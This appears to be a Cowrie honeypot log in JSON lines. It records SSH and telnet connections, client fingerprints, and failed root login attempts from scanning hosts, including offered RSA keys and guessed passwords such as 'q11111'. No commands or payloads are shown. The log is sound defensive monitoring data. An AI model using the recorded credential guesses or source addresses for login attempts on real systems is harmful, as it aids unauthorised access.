{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:1d:a8:88:46:1a:a4:61:da:b2:3c:c0:2a:09:71:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu6098r892+Qm1/Fi6D4BMjV487b+uGpnH4TnZp7Qr7NYQuxs7jiOPod32rBSTcfx2eXUcrOFVZSKZ6wMJtEKz9bRj2WxLZuMPJxi96mFHNbr7FE9QyxCAVqtu8aK6/8ZgLARp9m1KrK0U1yzJf/GqpVNF3RrnD7g0VDbcv9efCvhLXoGuM2wGGSB1GuOMrnqhdYyImCOTsXGm5CDIyiJvuPLDUVyhajYcewY51T6RukbjTv2DIb7b++hyyZTcGqZ9uWMoJpZuNuq8K+TIPHd7TF0EWJhhTt1a8dyOXXp147GN1RDT+nZRXQ+Ld+MjE5nGPILLcVsAGmT9Pw8UlI2b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:1d:a8:88:46:1a:a4:61:da:b2:3c:c0:2a:09:71:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:43.233167Z","src_ip":"139.19.117.129","session":"f542351887d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:1d:a8:88:46:1a:a4:61:da:b2:3c:c0:2a:09:71:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu6098r892+Qm1/Fi6D4BMjV487b+uGpnH4TnZp7Qr7NYQuxs7jiOPod32rBSTcfx2eXUcrOFVZSKZ6wMJtEKz9bRj2WxLZuMPJxi96mFHNbr7FE9QyxCAVqtu8aK6/8ZgLARp9m1KrK0U1yzJf/GqpVNF3RrnD7g0VDbcv9efCvhLXoGuM2wGGSB1GuOMrnqhdYyImCOTsXGm5CDIyiJvuPLDUVyhajYcewY51T6RukbjTv2DIb7b++hyyZTcGqZ9uWMoJpZuNuq8K+TIPHd7TF0EWJhhTt1a8dyOXXp147GN1RDT+nZRXQ+Ld+MjE5nGPILLcVsAGmT9Pw8UlI2b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:43.237597Z","src_ip":"139.19.117.129","session":"f542351887d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.34460735321045,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:46.150155Z","src_ip":"152.42.224.71","session":"8a10b970b3c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.22050094604492,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:51.419109Z","src_ip":"152.42.224.71","session":"a25965c8c52d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:52.859832Z","src_ip":"139.19.117.129","session":"f542351887d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56106,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7cbd4ddb8d","protocol":"telnet","message":"New connection: 152.42.224.71:56106 (10.17.0.5:23) [session: 7b7cbd4ddb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:53.426897Z"}
{"eventid":"cowrie.session.closed","duration":23.089543342590332,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:00.287826Z","src_ip":"152.42.224.71","session":"718a0f4b505c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":108.82082629203796,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:05.050804Z","src_ip":"152.42.224.71","session":"d52b2c2da53e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00258445739746,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:06.046110Z","src_ip":"152.42.224.71","session":"cabacf85e60c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":41372,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a68fa26847","protocol":"ssh","message":"New connection: 89.38.96.216:41372 (10.17.0.5:22) [session: 43a68fa26847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:09.353731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:09.358522Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:09.441951Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:40:3c:7f:42:56:79:67:9b:21:92:24:ea:e7:47:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHr7ZWDkVjKCINxk3XWRjPEjeGUl7wbw2tmhqwyfFmNw2ULzx06OXqf+2bKG6Z3h05mDsZSocpe8Y4EB+hAsJIGjOm2+WReBn2f54NpJ4IWEh5g+0QxtyiQR4j2hrlcmJ+9Qy20YXuGQQjI/cjCsExtUuRcEC8D4OxbtQ70QZW5r3YxUdMplGaphoWiRcPcnNvqVFsMK4xpmgPDt4MTgmrqFhTvNQz6ZO4SgLFgzfVgEO+50Xh94bVte+iKDMOcVOdrl7/jXiGDtvBtVlzyT8/aGgQbnE+jcOAMEQKXrE3HBui3edx48+VW4p99qUNAMTsm8UbzEXe5VL6vpVMFNXj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:40:3c:7f:42:56:79:67:9b:21:92:24:ea:e7:47:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:09.837323Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:40:3c:7f:42:56:79:67:9b:21:92:24:ea:e7:47:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHr7ZWDkVjKCINxk3XWRjPEjeGUl7wbw2tmhqwyfFmNw2ULzx06OXqf+2bKG6Z3h05mDsZSocpe8Y4EB+hAsJIGjOm2+WReBn2f54NpJ4IWEh5g+0QxtyiQR4j2hrlcmJ+9Qy20YXuGQQjI/cjCsExtUuRcEC8D4OxbtQ70QZW5r3YxUdMplGaphoWiRcPcnNvqVFsMK4xpmgPDt4MTgmrqFhTvNQz6ZO4SgLFgzfVgEO+50Xh94bVte+iKDMOcVOdrl7/jXiGDtvBtVlzyT8/aGgQbnE+jcOAMEQKXrE3HBui3edx48+VW4p99qUNAMTsm8UbzEXe5VL6vpVMFNXj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:09.841181Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:2a:0e:16:0a:6c:ee:99:c1:0a:90:19:c3:c4:cf:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6AkMccN05un34Hc7R4CsN9Kvj42m50o+3/gWxifV322sd1bXd1mrcxmRWhOY70VL1Abnr4Pjam2rQ963e3MjN5SLZ6Z35QVXqkqjNMt9CjAlDVVQY8t+p3wjT6zlKqTMvzG1iw6R2mK5Z1DGid+SAdD/CYurVrGHC3/pRgaiXKWNB4uZzibjdoBhyCD/pN8My0G7SztBfOIzQ/ocBtFzIhbTy+NPUq1UOsJkvEjCkRWjTyAZNFevVd2AuhwDZoNmg1GHkUoZPI0HKgsap0qOlaBlKQ3RxQr357+o/oQvBFxeppE2nqRRCUR9KWfDeOHXNEjaI9p/9GI8PyZwG6AlFmAEGP4MuEoIce7xHe9XbZT9yrCLTI5dLfQVwnmOd3rg6fYsiZy7jXKFObt8EJkN/d0nvRdmSCVq+9ExA6IetvN3W2NRO82TfzaYDkDhfnWDaePyeHNvDu8ErhsQmmQnriQZRXDDdXvf05N4B6euA0mngA+SGMWgWG+ycyiyEtdU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:2a:0e:16:0a:6c:ee:99:c1:0a:90:19:c3:c4:cf:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:09.925015Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:2a:0e:16:0a:6c:ee:99:c1:0a:90:19:c3:c4:cf:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6AkMccN05un34Hc7R4CsN9Kvj42m50o+3/gWxifV322sd1bXd1mrcxmRWhOY70VL1Abnr4Pjam2rQ963e3MjN5SLZ6Z35QVXqkqjNMt9CjAlDVVQY8t+p3wjT6zlKqTMvzG1iw6R2mK5Z1DGid+SAdD/CYurVrGHC3/pRgaiXKWNB4uZzibjdoBhyCD/pN8My0G7SztBfOIzQ/ocBtFzIhbTy+NPUq1UOsJkvEjCkRWjTyAZNFevVd2AuhwDZoNmg1GHkUoZPI0HKgsap0qOlaBlKQ3RxQr357+o/oQvBFxeppE2nqRRCUR9KWfDeOHXNEjaI9p/9GI8PyZwG6AlFmAEGP4MuEoIce7xHe9XbZT9yrCLTI5dLfQVwnmOd3rg6fYsiZy7jXKFObt8EJkN/d0nvRdmSCVq+9ExA6IetvN3W2NRO82TfzaYDkDhfnWDaePyeHNvDu8ErhsQmmQnriQZRXDDdXvf05N4B6euA0mngA+SGMWgWG+ycyiyEtdU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:09.929011Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:b7:9d:7a:70:91:e7:e1:8e:67:d0:70:6b:f3:c7:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCusn+5NXgxZO4d+GSd04uJ5OSR/cm9/E1rwo9f7wTjL0HoVLlkkVrZrRbgqT0HKv3/vkd2bj9K06CQtudkl+ztA3sj1r6KlG+RFCbXRwQvfdOp1c/Ad8x5MxK73FzBEgfCvN/WCXomLmdyP673cMP5rkbOU56nSP/bACCS2g7wTMByTAXmYWDAPYjo8hKcDYAKXz5ojM2+zBsCVrF0p6xuloBX8pXdUxLATu0PNwR8vtVb4ht32gkz69s87g0R/vzf82OEe0sIHe6zayNYQORpPQLrWfcfGm2K5PYNIuGjL9J5UMDB4nO41E9P5AiYXevm4LqNX9mpHB4H2BwcK5Qh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:b7:9d:7a:70:91:e7:e1:8e:67:d0:70:6b:f3:c7:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:10.016367Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:b7:9d:7a:70:91:e7:e1:8e:67:d0:70:6b:f3:c7:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCusn+5NXgxZO4d+GSd04uJ5OSR/cm9/E1rwo9f7wTjL0HoVLlkkVrZrRbgqT0HKv3/vkd2bj9K06CQtudkl+ztA3sj1r6KlG+RFCbXRwQvfdOp1c/Ad8x5MxK73FzBEgfCvN/WCXomLmdyP673cMP5rkbOU56nSP/bACCS2g7wTMByTAXmYWDAPYjo8hKcDYAKXz5ojM2+zBsCVrF0p6xuloBX8pXdUxLATu0PNwR8vtVb4ht32gkz69s87g0R/vzf82OEe0sIHe6zayNYQORpPQLrWfcfGm2K5PYNIuGjL9J5UMDB4nO41E9P5AiYXevm4LqNX9mpHB4H2BwcK5Qh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:10.020210Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:c5:29:85:7f:d2:47:29:0d:1c:05:4b:6f:3a:38:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3J+zcfOQlwd8j8rUPuzcP4UJo9ldmDCLvg/ePRw9nmYme7HaIsooCZAOH9GA2HuGk7GgsMiZrZA5QYwu1A2dkN9ZVjZ8n8PudJCypM+m/lSMUrPCeUMgRV7C0CKLf8t47Y3SyJsmTLjBbonSj8kDW8h6u8pEUe8gXg6ctbyBJJAZ7+sRPxbd5l2s9jv83kevK61HUKb7az7fmXFQ8QWCZEJU9Zz8EghLnOqR71zKOSpaCfCaLuvPY7R3RuP7yOoJfLQJ3GJZcclQP7LIBNcSKIKtCtQ9gC7Ttgo7c8mK+yI4+6LlWNjvG2qebciVaavJa0NyZ8bvGkw+IoG44M9VrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:c5:29:85:7f:d2:47:29:0d:1c:05:4b:6f:3a:38:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:10.105972Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:c5:29:85:7f:d2:47:29:0d:1c:05:4b:6f:3a:38:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3J+zcfOQlwd8j8rUPuzcP4UJo9ldmDCLvg/ePRw9nmYme7HaIsooCZAOH9GA2HuGk7GgsMiZrZA5QYwu1A2dkN9ZVjZ8n8PudJCypM+m/lSMUrPCeUMgRV7C0CKLf8t47Y3SyJsmTLjBbonSj8kDW8h6u8pEUe8gXg6ctbyBJJAZ7+sRPxbd5l2s9jv83kevK61HUKb7az7fmXFQ8QWCZEJU9Zz8EghLnOqR71zKOSpaCfCaLuvPY7R3RuP7yOoJfLQJ3GJZcclQP7LIBNcSKIKtCtQ9gC7Ttgo7c8mK+yI4+6LlWNjvG2qebciVaavJa0NyZ8bvGkw+IoG44M9VrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:10.110093Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:75:5c:dd:a3:6e:e7:5f:e4:4d:bd:c8:c1:49:d1:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+YdIyLH3w20N4NFOXvMII4MVI8cFZGBYOzkGtBZ4Zz5SR787E12DEIne4gUpqscRhvI8venMUDTsCjf/y8BMTYC5CEoJzRYqfTT3mstjRH+PrT6dS3Hjvemi370rMjddwmqgZtYteO3CqTUh9Y9S9CsxKKRUiclDOdPZ1spgh3+oomdCzw/6s+RTBgEzXcuEcj+XWB5ZSLvigYQRqBXrKmCFU2x4pS2G8NyWC1+wxZmdvst6uydRzxy8J2oQf+d8qqcUPjBuow+qePitKB+/3OYzMsJSeY4GE+ms5ee6ziiV5FSUIim4UKzcomatEPLcGPblb4RFbEGOotOdCcgj7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:75:5c:dd:a3:6e:e7:5f:e4:4d:bd:c8:c1:49:d1:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:10.194877Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:75:5c:dd:a3:6e:e7:5f:e4:4d:bd:c8:c1:49:d1:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+YdIyLH3w20N4NFOXvMII4MVI8cFZGBYOzkGtBZ4Zz5SR787E12DEIne4gUpqscRhvI8venMUDTsCjf/y8BMTYC5CEoJzRYqfTT3mstjRH+PrT6dS3Hjvemi370rMjddwmqgZtYteO3CqTUh9Y9S9CsxKKRUiclDOdPZ1spgh3+oomdCzw/6s+RTBgEzXcuEcj+XWB5ZSLvigYQRqBXrKmCFU2x4pS2G8NyWC1+wxZmdvst6uydRzxy8J2oQf+d8qqcUPjBuow+qePitKB+/3OYzMsJSeY4GE+ms5ee6ziiV5FSUIim4UKzcomatEPLcGPblb4RFbEGOotOdCcgj7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:10.198369Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:10.282249Z","src_ip":"89.38.96.216","session":"43a68fa26847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45576,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c7e5fd7202b","protocol":"telnet","message":"New connection: 152.42.224.71:45576 (10.17.0.5:23) [session: 4c7e5fd7202b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:12.620245Z"}
{"eventid":"cowrie.session.closed","duration":30.69829487800598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:13.753198Z","src_ip":"152.42.224.71","session":"cf5e2550b45d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":59738,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f5dedfb00fa","protocol":"ssh","message":"New connection: 103.149.170.125:59738 (159.203.135.109:22) [session: 6f5dedfb00fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:21.870666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:21.875599Z","src_ip":"103.149.170.125","session":"6f5dedfb00fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:22.133890Z","src_ip":"103.149.170.125","session":"6f5dedfb00fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q11111","message":"login attempt [root/q11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:22.885267Z","src_ip":"103.149.170.125","session":"6f5dedfb00fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:24.138893Z","src_ip":"103.149.170.125","session":"6f5dedfb00fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":48768,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c07c4de4bc","protocol":"ssh","message":"New connection: 103.75.182.198:48768 (10.17.0.5:22) [session: f5c07c4de4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:25.393244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:25.398416Z","src_ip":"103.75.182.198","session":"f5c07c4de4bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:25.643251Z","src_ip":"103.75.182.198","session":"f5c07c4de4bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u","message":"login attempt [root/1q2w3e4r5t6y7u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:26.375724Z","src_ip":"103.75.182.198","session":"f5c07c4de4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:27.620787Z","src_ip":"103.75.182.198","session":"f5c07c4de4bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":59190,"dst_ip":"10.17.0.5","dst_port":22,"session":"a924b5e45173","protocol":"ssh","message":"New connection: 37.233.85.71:59190 (10.17.0.5:22) [session: a924b5e45173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:28.086425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:28.090651Z","src_ip":"37.233.85.71","session":"a924b5e45173","protocol":"ssh"}
